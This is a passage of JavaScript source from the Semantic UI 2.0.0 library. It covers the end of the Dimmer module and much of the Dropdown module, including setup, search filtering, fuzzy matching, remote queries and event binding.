$dimmer.hasClass(className.active);\n          },\n          animating: function() {\n            return ( $dimmer.is(':animated') || $dimmer.hasClass(className.animating) );\n          },\n          closable: function() {\n            if(settings.closable == 'auto') {\n              if(settings.on == 'hover') {\n                return false;\n              }\n              return true;\n            }\n            return settings.closable;\n          },\n          dimmer: function() {\n            return $module.hasClass(className.dimmer);\n          },\n          dimmable: function() {\n            return $module.hasClass(className.dimmable);\n          },\n          dimmed: function() {\n            return $dimmable.hasClass(className.dimmed);\n          },\n          disabled: function() {\n            return $dimmable.hasClass(className.disabled);\n          },\n          enabled: function() {\n            return !module.is.disabled();\n          },\n          page: function () {\n            return $dimmable.is('body');\n          },\n          pageDimmer: function() {\n            return $dimmer.hasClass(className.pageDimmer);\n          }\n        },\n\n        can: {\n          show: function() {\n            return !$dimmer.hasClass(className.disabled);\n          }\n        },\n\n        set: {\n          opacity: function(opacity) {\n            var\n              opacity    = settings.opacity || opacity,\n              color      = $dimmer.css('background-color'),\n              colorArray = color.split(','),\n              isRGBA     = (colorArray && colorArray.length == 4)\n            ;\n            if(isRGBA) {\n              colorArray[3] = opacity + ')';\n              color         = colorArray.join(',');\n            }\n            else {\n              color = 'rgba(0, 0, 0, ' + opacity + ')';\n            }\n            module.debug('Setting opacity to', opacity);\n            $dimmer.css('background-color', color);\n          },\n          active: function() {\n            $dimmer.addClass(className.active);\n          },\n          dimmable: function() {\n            $dimmable.addClass(className.dimmable);\n          },\n          dimmed: function() {\n            $dimmable.addClass(className.dimmed);\n          },\n          pageDimmer: function() {\n            $dimmer.addClass(className.pageDimmer);\n          },\n          disabled: function() {\n            $dimmer.addClass(className.disabled);\n          }\n        },\n\n        remove: {\n          active: function() {\n            $dimmer\n              .removeClass(className.active)\n            ;\n          },\n          dimmed: function() {\n            $dimmable.removeClass(className.dimmed);\n          },\n          disabled: function() {\n            $dimmer.removeClass(className.disabled);\n          }\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if($allModules.length > 1) {\n              title += ' ' + '(' + $allModules.length + ')';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      module.preinitialize();\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.dimmer.settings = {\n\n  name        : 'Dimmer',\n  namespace   : 'dimmer',\n\n  debug       : false,\n  verbose     : false,\n  performance : true,\n\n  // name to distinguish between multiple dimmers in context\n  dimmerName  : false,\n\n  // whether to add a variation type\n  variation   : false,\n\n  // whether to bind close events\n  closable    : 'auto',\n\n  // whether to use css animations\n  useCSS      : true,\n\n  // css animation to use\n  transition  : 'fade',\n\n  // event to bind to\n  on          : false,\n\n  // overriding opacity value\n  opacity     : 'auto',\n\n  // transition durations\n  duration    : {\n    show : 500,\n    hide : 500\n  },\n\n  onChange    : function(){},\n  onShow      : function(){},\n  onHide      : function(){},\n\n  error   : {\n    method   : 'The method you called is not defined.'\n  },\n\n  className : {\n    active     : 'active',\n    animating  : 'animating',\n    dimmable   : 'dimmable',\n    dimmed     : 'dimmed',\n    dimmer     : 'dimmer',\n    disabled   : 'disabled',\n    hide       : 'hide',\n    pageDimmer : 'page',\n    show       : 'show'\n  },\n\n  selector: {\n    dimmer   : '> .ui.dimmer',\n    content  : '.ui.dimmer > .content, .ui.dimmer > .content > .center'\n  },\n\n  template: {\n    dimmer: function() {\n     return $('<div />').attr('class', 'ui dimmer');\n    }\n  }\n\n};\n\n})( jQuery, window , document );\n/*!\n * # Semantic UI 2.0.0 - Dropdown\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.dropdown = function(parameters) {\n  var\n    $allModules    = $(this),\n    $document      = $(document),\n\n    moduleSelector = $allModules.selector || '',\n\n    hasTouch       = ('ontouchstart' in document.documentElement),\n    time           = new Date().getTime(),\n    performance    = [],\n\n    query          = arguments[0],\n    methodInvoked  = (typeof query == 'string'),\n    queryArguments = [].slice.call(arguments, 1),\n    returnedValue\n  ;\n\n  $allModules\n    .each(function(elementIndex) {\n      var\n        settings          = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.dropdown.settings, parameters)\n          : $.extend({}, $.fn.dropdown.settings),\n\n        className       = settings.className,\n        message         = settings.message,\n        metadata        = settings.metadata,\n        namespace       = settings.namespace,\n        regExp          = settings.regExp,\n        selector        = settings.selector,\n        error           = settings.error,\n        templates       = settings.templates,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n\n        $module         = $(this),\n        $context        = $(settings.context),\n        $text           = $module.find(selector.text),\n        $search         = $module.find(selector.search),\n        $input          = $module.find(selector.input),\n        $icon           = $module.find(selector.icon),\n\n        $combo = ($module.prev().find(selector.text).length > 0)\n          ? $module.prev().find(selector.text)\n          : $module.prev(),\n\n        $menu           = $module.children(selector.menu),\n        $item           = $menu.find(selector.item),\n\n        activated       = false,\n        itemActivated   = false,\n        element         = this,\n        instance        = $module.data(moduleNamespace),\n\n        initialLoad,\n        pageLostFocus,\n        elementNamespace,\n        id,\n        selectObserver,\n        menuObserver,\n        module\n      ;\n\n      module = {\n\n        initialize: function() {\n          module.debug('Initializing dropdown', settings);\n\n          if( module.is.alreadySetup() ) {\n            module.setup.reference();\n          }\n          else {\n            module.setup.layout();\n            module.refreshData();\n\n            module.save.defaults();\n            module.restore.selected();\n\n            module.create.id();\n            if(hasTouch) {\n              module.bind.touchEvents();\n            }\n            module.bind.mouseEvents();\n            module.bind.keyboardEvents();\n\n            module.observeChanges();\n            module.instantiate();\n          }\n\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of dropdown', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous dropdown', $module);\n          module.remove.tabbable();\n          $module\n            .off(eventNamespace)\n            .removeData(moduleNamespace)\n          ;\n          $menu\n            .off(eventNamespace)\n          ;\n          $document\n            .off(elementNamespace)\n          ;\n          if(selectObserver) {\n            selectObserver.disconnect();\n          }\n          if(menuObserver) {\n            menuObserver.disconnect();\n          }\n        },\n\n        observeChanges: function() {\n          if('MutationObserver' in window) {\n            selectObserver = new MutationObserver(function(mutations) {\n              module.debug('<select> modified, recreating menu');\n              module.setup.select();\n            });\n            menuObserver = new MutationObserver(function(mutations) {\n              module.debug('Menu modified, updating selector cache');\n              module.refresh();\n            });\n            if(module.has.input()) {\n              selectObserver.observe($input[0], {\n                childList : true,\n                subtree   : true\n              });\n            }\n            if(module.has.menu()) {\n              menuObserver.observe($menu[0], {\n                childList : true,\n                subtree   : true\n              });\n            }\n            module.debug('Setting up mutation observer', selectObserver, menuObserver);\n          }\n        },\n\n        create: {\n          id: function() {\n            id = (Math.random().toString(16) + '000000000').substr(2, 8);\n            elementNamespace = '.' + id;\n            module.verbose('Creating unique id for element', id);\n          },\n          userChoice: function(values) {\n            var\n              $userChoices,\n              $userChoice,\n              isUserValue,\n              html\n            ;\n            values = values || module.get.userValues();\n            if(!values) {\n              return false;\n            }\n            values = $.isArray(values)\n              ? values\n              : [values]\n            ;\n            $.each(values, function(index, value) {\n              if(module.get.item(value) === false) {\n                html         = settings.templates.addition(value);\n                $userChoice  = $('<div />')\n                  .html(html)\n                  .data(metadata.value, value)\n                  .addClass(className.addition)\n                  .addClass(className.item)\n                ;\n                $userChoices = ($userChoices === undefined)\n                  ? $userChoice\n                  : $userChoices.add($userChoice)\n                ;\n                module.verbose('Creating user choices for value', value, $userChoice);\n              }\n            });\n            return $userChoices;\n          },\n          userLabels: function(value) {\n            var\n              userValues = module.get.userValues()\n            ;\n            if(userValues) {\n              module.debug('Adding user labels', userValues);\n              $.each(userValues, function(index, value) {\n                module.verbose('Adding custom user value');\n                module.add.label(value, value);\n              });\n            }\n          },\n        },\n\n        search: function(query) {\n          query = (query !== undefined)\n            ? query\n            : module.get.query()\n          ;\n          module.verbose('Searching for query', query);\n          module.filter(query);\n        },\n\n        select: {\n          firstUnfiltered: function() {\n            module.verbose('Selecting first non-filtered element');\n            module.remove.selectedItem();\n            $item\n              .not(selector.unselectable)\n                .eq(0)\n                .addClass(className.selected)\n            ;\n          },\n          nextAvailable: function($selected) {\n            $selected = $selected.eq(0);\n            var\n              $nextAvailable = $selected.nextAll(selector.item).not(selector.unselectable).eq(0),\n              $prevAvailable = $selected.prevAll(selector.item).not(selector.unselectable).eq(0),\n              hasNext        = ($nextAvailable.length > 0)\n            ;\n            if(hasNext) {\n              module.verbose('Moving selection to', $nextAvailable);\n              $nextAvailable.addClass(className.selected);\n            }\n            else {\n              module.verbose('Moving selection to', $prevAvailable);\n              $prevAvailable.addClass(className.selected);\n            }\n          }\n        },\n\n        setup: {\n          api: function() {\n            var\n              apiSettings = {\n                debug : settings.debug,\n                on    : false\n              }\n            ;\n            module.verbose('First request, initializing API');\n            $module\n              .api(apiSettings)\n            ;\n          },\n          layout: function() {\n            if( $module.is('select') ) {\n              module.setup.select();\n              module.setup.returnedObject();\n              console.log($module);\n            }\n            if( module.is.search() && !module.has.search() ) {\n              module.verbose('Adding search input');\n              $search = $('<input />')\n                .addClass(className.search)\n                .insertBefore($text)\n              ;\n            }\n            if(settings.allowTab) {\n              module.set.tabbable();\n            }\n            if($menu.length === 0) {\n              $menu = $('<div />')\n                .addClass(className.menu)\n                .appendTo($module)\n              ;\n            }\n          },\n          select: function() {\n            var\n              selectValues  = module.get.selectValues()\n            ;\n            module.debug('Dropdown initialized on a select', selectValues);\n            if( $module.is('select') ) {\n              $input = $module;\n            }\n            // see if select is placed correctly already\n            if($input.parent(selector.dropdown).length > 0) {\n              module.debug('UI dropdown already exists. Creating dropdown menu only');\n              $module = $input.closest(selector.dropdown);\n              $menu   = $module.children(selector.menu);\n              module.setup.menu(selectValues);\n            }\n            else {\n              module.debug('Creating entire dropdown from select');\n              $module = $('<div />')\n                .attr('class', $input.attr('class') )\n                .addClass(className.selection)\n                .addClass(className.dropdown)\n                .html( templates.dropdown(selectValues) )\n                .insertBefore($input)\n              ;\n              $input\n                .removeAttr('class')\n                .detach()\n                .prependTo($module)\n              ;\n              console.log($module);\n            }\n            if($input.is('[multiple]')) {\n              module.set.multiple();\n            }\n            module.refresh();\n          },\n          menu: function(values) {\n            $menu.html( templates.menu( values ));\n            $item = $menu.find(selector.item);\n          },\n          reference: function() {\n            module.debug('Dropdown behavior was called on select, replacing with closest dropdown');\n            // replace module reference\n            $module = $module.parent(selector.dropdown);\n            module.refresh();\n            module.setup.returnedObject();\n            // invoke method in context of current instance\n            if(methodInvoked) {\n              instance = module;\n              module.invoke(query);\n            }\n          },\n          returnedObject: function() {\n            var\n              $firstModules = $allModules.slice(0, elementIndex),\n              $lastModules = $allModules.slice(elementIndex + 1)\n            ;\n            // adjust all modules to use correct reference\n            $allModules = $firstModules.add($module).add($lastModules);\n          }\n        },\n\n        refresh: function() {\n          module.refreshSelectors();\n          module.refreshData();\n        },\n\n        refreshSelectors: function() {\n          module.verbose('Refreshing selector cache');\n          $text   = $module.find(selector.text);\n          $search = $module.find(selector.search);\n          $input  = $module.find(selector.input);\n          $icon   = $module.find(selector.icon);\n          $combo  = ($module.prev().find(selector.text).length > 0)\n            ? $module.prev().find(selector.text)\n            : $module.prev()\n          ;\n          $menu    = $module.children(selector.menu);\n          $item    = $menu.find(selector.item);\n        },\n\n        refreshData: function() {\n          module.verbose('Refreshing cached metadata');\n          $item\n            .removeData(metadata.text)\n            .removeData(metadata.value)\n          ;\n          $module\n            .removeData(metadata.defaultText)\n            .removeData(metadata.defaultValue)\n            .removeData(metadata.placeholderText)\n          ;\n        },\n\n\n        toggle: function() {\n          module.verbose('Toggling menu visibility');\n          if( !module.is.active() ) {\n            module.show();\n          }\n          else {\n            module.hide();\n          }\n        },\n\n        show: function(callback) {\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          if( module.can.show() && !module.is.active() ) {\n            module.debug('Showing dropdown');\n            if(module.is.multiple()) {\n              if(!module.has.search() && module.is.allFiltered()) {\n                return true;\n              }\n            }\n            module.animate.show(function() {\n              if( module.can.click() ) {\n                module.bind.intent();\n              }\n              module.set.visible();\n              callback.call(element);\n            });\n            settings.onShow.call(element);\n          }\n        },\n\n        hide: function(callback) {\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          if( module.is.active() ) {\n            module.debug('Hiding dropdown');\n            module.animate.hide(function() {\n              module.remove.visible();\n              callback.call(element);\n            });\n            settings.onHide.call(element);\n          }\n        },\n\n        hideOthers: function() {\n          module.verbose('Finding other dropdowns to hide');\n          $allModules\n            .not($module)\n              .has(selector.menu + '.' + className.visible)\n                .dropdown('hide')\n          ;\n        },\n\n        hideMenu: function() {\n          module.verbose('Hiding menu  instantaneously');\n          module.remove.active();\n          module.remove.visible();\n          $menu.transition('hide');\n        },\n\n        hideSubMenus: function() {\n          var\n            $subMenus = $menu.children(selector.item).find(selector.menu)\n          ;\n          module.verbose('Hiding sub menus', $subMenus);\n          $subMenus.transition('hide');\n        },\n\n        bind: {\n          keyboardEvents: function() {\n            module.debug('Binding keyboard events');\n            $module\n              .on('keydown' + eventNamespace, module.event.keydown)\n            ;\n            if( module.has.search() ) {\n              $module\n                .on(module.get.inputEvent() + eventNamespace, selector.search, module.event.input)\n              ;\n            }\n            if( module.is.multiple() ) {\n              $document\n                .on('keydown' + elementNamespace, module.event.document.keydown)\n              ;\n            }\n          },\n          touchEvents: function() {\n            module.debug('Touch device detected binding additional touch events');\n            if( module.is.searchSelection() ) {\n              // do nothing special yet\n            }\n            else {\n              $module\n                .on('touchstart' + eventNamespace, module.event.test.toggle)\n              ;\n            }\n            $menu\n              .on('touchstart' + eventNamespace, selector.item, module.event.item.mouseenter)\n            ;\n          },\n          mouseEvents: function() {\n            module.debug('Mouse detected binding mouse events');\n            if(module.is.multiple()) {\n              $module\n                .on('click'   + eventNamespace, selector.label, module.event.label.click)\n                .on('click'   + eventNamespace, selector.remove, module.event.remove.click)\n              ;\n            }\n            if( module.is.searchSelection() ) {\n              $module\n                .on('mousedown' + eventNamespace, selector.menu,   module.event.menu.mousedown)\n                .on('mouseup'   + eventNamespace, selector.menu,   module.event.menu.mouseup)\n                .on('click'     + eventNamespace, selector.search, module.show)\n                .on('focus'     + eventNamespace, selector.search, module.event.search.focus)\n                .on('blur'      + eventNamespace, selector.search, module.event.search.blur)\n                .on('click'     + eventNamespace, selector.text,   module.event.text.focus)\n              ;\n              if(module.is.multiple()) {\n                $module\n                  .on('click'   + eventNamespace, module.event.click)\n                ;\n              }\n            }\n            else {\n              if(settings.on == 'click') {\n                $module\n                  .on('click' + eventNamespace, module.event.test.toggle)\n                ;\n              }\n              else if(settings.on == 'hover') {\n                $module\n                  .on('mouseenter' + eventNamespace, module.delay.show)\n                  .on('mouseleave' + eventNamespace, module.delay.hide)\n                ;\n              }\n              else {\n                $module\n                  .on(settings.on + eventNamespace, module.toggle)\n                ;\n              }\n              $module\n                .on('mousedown' + eventNamespace, module.event.mousedown)\n                .on('mouseup'   + eventNamespace, module.event.mouseup)\n                .on('focus'     + eventNamespace, module.event.focus)\n                .on('blur'      + eventNamespace, module.event.blur)\n              ;\n            }\n            $menu\n              .on('mouseenter' + eventNamespace, selector.item, module.event.item.mouseenter)\n              .on('mouseleave' + eventNamespace, selector.item, module.event.item.mouseleave)\n              .on('click'      + eventNamespace, selector.item, module.event.item.click)\n            ;\n          },\n          intent: function() {\n            module.verbose('Binding hide intent event to document');\n            if(hasTouch) {\n              $document\n                .on('touchstart' + elementNamespace, module.event.test.touch)\n                .on('touchmove'  + elementNamespace, module.event.test.touch)\n              ;\n            }\n            $document\n              .on('click' + elementNamespace, module.event.test.hide)\n            ;\n          }\n        },\n\n        unbind: {\n          intent: function() {\n            module.verbose('Removing hide intent event from document');\n            if(hasTouch) {\n              $document\n                .off('touchstart' + elementNamespace)\n                .off('touchmove' + elementNamespace)\n              ;\n            }\n            $document\n              .off('click' + elementNamespace)\n            ;\n          }\n        },\n\n        filter: function(query) {\n          var\n            searchTerm = (query !== undefined)\n              ? query\n              : module.get.query(),\n            afterFiltered = function() {\n              if(module.is.multiple()) {\n                module.filterActive();\n              }\n              module.select.firstUnfiltered();\n              if( module.has.allResultsFiltered() ) {\n                if( settings.onNoResults.call(element, searchTerm) ) {\n                  if(!settings.allowAdditions) {\n                    module.verbose('All items filtered, showing message', searchTerm);\n                    module.add.message(message.noResults);\n                  }\n                }\n                else {\n                  module.verbose('All items filtered, hiding dropdown', searchTerm);\n                  module.hideMenu();\n                }\n              }\n              else {\n                module.remove.message();\n              }\n              if(settings.allowAdditions) {\n                module.add.userSuggestion(query);\n              }\n              if(module.is.searchSelection() && module.can.show() && module.is.focusedOnSearch() ) {\n                module.show();\n              }\n            }\n          ;\n          if(module.has.maxSelections()) {\n            return;\n          }\n          if(settings.apiSettings) {\n            if( module.can.useAPI() ) {\n              module.queryRemote(searchTerm, function() {\n                afterFiltered();\n              });\n            }\n            else {\n              module.error(error.noAPI);\n            }\n          }\n          else {\n            module.filterItems(searchTerm);\n            afterFiltered();\n          }\n        },\n\n        queryRemote: function(query, callback) {\n          var\n            apiSettings = {\n              errorDuration        : false,\n              throttle             : settings.throttle,\n              cache                : 'local',\n              urlData              : {\n                query: query\n              },\n              onError: function() {\n                module.add.message(message.serverError);\n                callback();\n              },\n              onFailure: function() {\n                module.add.message(message.serverError);\n                callback();\n              },\n              onSuccess : function(response) {\n                module.remove.message();\n                module.setup.menu({\n                  values: response.results\n                });\n                callback();\n              }\n            }\n          ;\n          if( !$module.api('get request') ) {\n            module.setup.api();\n          }\n          apiSettings = $.extend(true, {}, apiSettings, settings.apiSettings);\n          $module\n            .api('setting', apiSettings)\n            .api('query')\n          ;\n        },\n\n        filterItems: function(query) {\n          var\n            searchTerm = (query !== undefined)\n              ? query\n              : module.get.query(),\n            $results         = $(),\n            escapedTerm      = module.escape.regExp(searchTerm),\n            beginsWithRegExp = new RegExp('^' + escapedTerm, 'igm')\n          ;\n          // avoid loop if we're matching nothing\n          if(searchTerm === '') {\n            $results = $item;\n          }\n          else {\n            module.verbose('Searching for matching values', searchTerm);\n            $item\n              .each(function(){\n                var\n                  $choice = $(this),\n                  text,\n                  value\n                ;\n                if(settings.match == 'both' || settings.match == 'text') {\n                  text = String(module.get.choiceText($choice, false));\n                  if(text.search(beginsWithRegExp) !== -1) {\n                    $results = $results.add($choice);\n                    return true;\n                  }\n                  else if(settings.fullTextSearch && module.fuzzySearch(searchTerm, text)) {\n                    $results = $results.add($choice);\n                    return true;\n                  }\n                }\n                if(settings.match == 'both' || settings.match == 'value') {\n                  value = String(module.get.choiceValue($choice, text));\n\n                  if(value.search(beginsWithRegExp) !== -1) {\n                    $results = $results.add($choice);\n                    return true;\n                  }\n                  else if(settings.fullTextSearch && module.fuzzySearch(searchTerm, value)) {\n                    $results = $results.add($choice);\n                    return true;\n                  }\n                }\n              })\n            ;\n          }\n\n          module.debug('Showing only matched items', searchTerm);\n          module.remove.filteredItem();\n          $item\n            .not($results)\n            .addClass(className.filtered)\n          ;\n        },\n\n        fuzzySearch: function(query, term) {\n          var\n            termLength  = term.length,\n            queryLength = query.length\n          ;\n          query = query.toLowerCase();\n          term  = term.toLowerCase();\n          if(queryLength > termLength) {\n            return false;\n          }\n          if(queryLength === termLength) {\n            return (query === term);\n          }\n          search: for (var characterIndex = 0, nextCharacterIndex = 0; characterIndex < queryLength; characterIndex++) {\n            var\n              queryCharacter = query.charCodeAt(characterIndex)\n            ;\n            while(nextCharacterIndex < termLength) {\n              if(term.charCodeAt(nextCharacterIndex++) === queryCharacter) {\n                continue search;\n              }\n            }\n            return false;\n          }\n          return true;\n        },\n\n        filterActive: function() {\n          if(settings.useLabels) {\n            $item.filter('.' + className.active)\n              .addClass(className.filtered)\n            ;\n          }\n        },\n\n        focusSearch: function() {\n          if( module.is.search() && !module.is.focusedOnSearch() ) {\n            $search[0].focus();\n          }\n        },\n\n        forceSelection: function() {\n          var\n            $currentlySelected = $item.not(className.filtered).filter('.' + className.selected).eq(0),\n            $activeItem        = $item.not(className.filtered).filter('.' + className.active).eq(0),\n            $selectedItem      = ($currentlySelected.length > 0)\n              ? $currentlySelected\n              : $activeItem,\n            hasSelected = ($selectedItem.size() > 0)\n          ;\n          if(hasSelected) {\n            module.debug('Forcing partial selection to selected item', $selectedItem);\n            module.event.item.click.call($selectedItem);\n          }\n          else {\n            module.hide();\n          }\n        },\n\n        event: {\n          focus: function() {\n            if(settings.showOnFocus && !activated && module.is.hidden() && !pageLostFocus) {\n              module.show();\n            }\n          },\n          click: function(event) {\n            var\n              $target = $(event.target)\n            ;\n            // focus search\n            if(($target.is($module) || $target.is($icon)) && !module.is.focusedOnSearch()) {\n              module.focusSearch();\n            }\n          },\n          blur: function(event) {\n            pageLostFocus = (document.activeElement === this);\n            if(!activated && !pageLostFocus) {\n              module.remove.activeLabel();\n              module.hide();\n            }\n          },\n          // prevents focus callback from occuring on mousedown\n          mousedown: function() {\n            activated = true;\n          },\n          mouseup: function() {\n            activated = false;\n          },\n          search: {\n            focus: function() {\n              activated = true;\n              if(module.is.multiple()) {\n                module.remove.activeLabel();\n              }\n              if(settings.showOnFocus) {\n                module.show();\n              }\n            },\n            blur: function(event) {\n              pageLostFocus = (document.activeElement === this);\n              if(!itemActivated && !pageLostFocus) {\n                if(module.is.multiple()) {\n                  module.remove.activeLabel();\n                  module.hide();\n                }\n                else if(settings.forceSelection) {\n                  module.forceSelection();\n                }\n                else {\n                  module.hide();\n                }\n              }\n            }\n          },\n          text: {\n            focus: function(event) {\n              activated = true;\n              module.focusSearch();\n            }\n          },\n          input: function(event) {\n            if(module.is.multiple() || module.is.searchSelection()) {\n              module.set.filtered();\n            }\n            clearTimeout(module.timer);\n            module.timer = setTimeout(module.search, settings.delay.search);\n          },\n          label: {\n            click: function(event) {\n              var\n                $label        = $(this),\n                $labels       = $module.find(selector.label),\n                $activeLabels = $labels.filter('.' + className.active),\n                $nextActive   = $label.nextAll('.' + className.active),\n                $prevActive   = $label.prevAll('.' + className.active),\n                $range = ($nextActive.length > 0)\n                  ? $label.nextUntil($nextActive).add($activeLabels).add($label)\n                  : $label.prevUntil($prevActive).add($activeLabels).add($label)\n              ;\n              if(event.shiftKey) {\n                $activeLabels.removeClass(className.active);\n                $range.addClass(className.active);\n              }\n              else if(event.ctrlKey) {\n                $label.toggleClass(className.active);\n              }\n              else {\n                $activeLabels.removeClass(className.active);\n                $label.addClass(className.active);\n              }\n              settings.onLabelSelect.apply(this, $labels.filter('.' + className.active));\n            }\n          },\n          remove: {\n            click: function() {\n              var\n                $label = $(this).parent()\n              ;\n              if( $label.hasClass(className.active) ) {\n                // remove all selected labels\n                module.remove.activeLabels();\n              }\n              else {\n                // remove this label only\n                module.remove.activeLabels( $label );\n              }\n            }\n          },\n          test: {\n            toggle: function(event) {\n              var\n                toggleBehavior = (module.is.multiple())\n                  ? module.show\n                  : module.toggle\n                ;\n              if( module.determine.eventOnElement(event, toggleBehavior) ) {\n                event.preventDefault();\n              }\n            },\n            touch: function(event) {\n              module.determine.eventOnElement(event, function() {\n                if(event.type == 'touchstart') {\n                  module.timer = setTimeout(module.hide, settings.delay.touch);\n                }\n                else if(event.type == 'touchmove') {\n                  clearTimeout(module.timer);\n                }\n              });\n              event.stopPropagation();\n            },\n            hide: function(event) {\n              module.determine.eventInModule(event, module.hide);\n            }\n          },\n          menu: {\n            mousedown: function() {\n              itemActivated = true;\n            },\n            mouseup: function() {\n              itemActivated = false;\n            }\n          },\n          item: {\n            mouseenter: function(event) {\n              var\n                $subMenu    = $(this).children(selector.menu),\n                $otherMenus = $(this).siblings(selector.item).children(selector.menu)\n              ;\n              if( $subMenu.length > 0 ) {\n                clearTimeout(module.itemTimer);\n                module.itemTimer = setTimeout(function() {\n                  module.verbose('Showing sub-menu', $subMenu);\n                  $.each($otherMenus, function() {\n                    module.animate.hide(false, $(this));\n                  });\n                  module.animate.show(false,  $subMenu);\n                }, settings.delay.show);\n                event.preventDefault();\n              }\n            },\n            mouseleave: function(event) {\n              var\n                $subMenu = $(this).children(selector.menu)\n              ;\n              if($subMenu.length > 0) {\n                clearTimeout(module.itemTimer);\n                module.itemTimer = setTimeout(function() {\n                  module.verbose('Hiding sub-menu', $subMenu);\n                  module.animate.hide(false,  $subMenu);\n                }, settings.delay.hide);\n              }\n            },\n            click: function (event) {\n              var\n                $choice  = $(this),\n                $target  = (event)\n                  ? $(event.target)\n                  : $(''),\n                $subMenu = $choice.find(selector.menu),\n                text     = module.get.choiceText($choice),\n                value    = module.get.choiceValue($choice, text),\n                hasSubMenu     = ($subMenu.length > 0),\n                isBubbledEvent = ($subMenu.find($target).length > 0)\n              ;\n              if(!isBubbledEvent && (!hasSubMenu || settings.allowCategorySelection)) {\n                if(!settings.useLabels) {\n                  module.remove.searchTerm();\n                }\n                module.determine.selectAction.call(this, text, value);\n              }\n            }\n          },\n\n          document: {\n            // label selection should occur even when element has no focus\n            keydown: function(event) {\n              var\n                pressedKey    = event.which,\n                keys          = module.get.shortcutKeys(),\n                isShortcutKey = module.is.inObject(pressedKey, keys)\n              ;\n              if(isShortcutKey) {\n                var\n                  $label            = $module.find(selector.label),\n                  $activeLabel      = $label.filter('.' + className.active),\n                  activeValue       = $activeLabel.data('value'),\n                  labelIndex        = $label.index($activeLabel),\n                  labelCount        = $label.length,\n                  hasActiveLabel    = ($activeLabel.length > 0),\n                  hasMultipleActive = ($activeLabel.length > 1),\n                  isFirstLabel      = (labelIndex === 0),\n                  isLastLabel       = (labelIndex + 1 == labelCount),\n                  isSearch          = module.is.searchSelection(),\n                  isFocusedOnSearch = module.is.focusedOnSearch(),\n                  isFocused         = module.is.focused(),\n                  caretAtStart      = (isFocusedOnSearch && module.get.caretPosition() === 0),\n                  $nextLabel\n                ;\n                if(isSearch && !hasActiveLabel && !isFocusedOnSearch) {\n                  return;\n                }\n\n                if(pressedKey == keys.leftArrow) {\n                  // activate previous 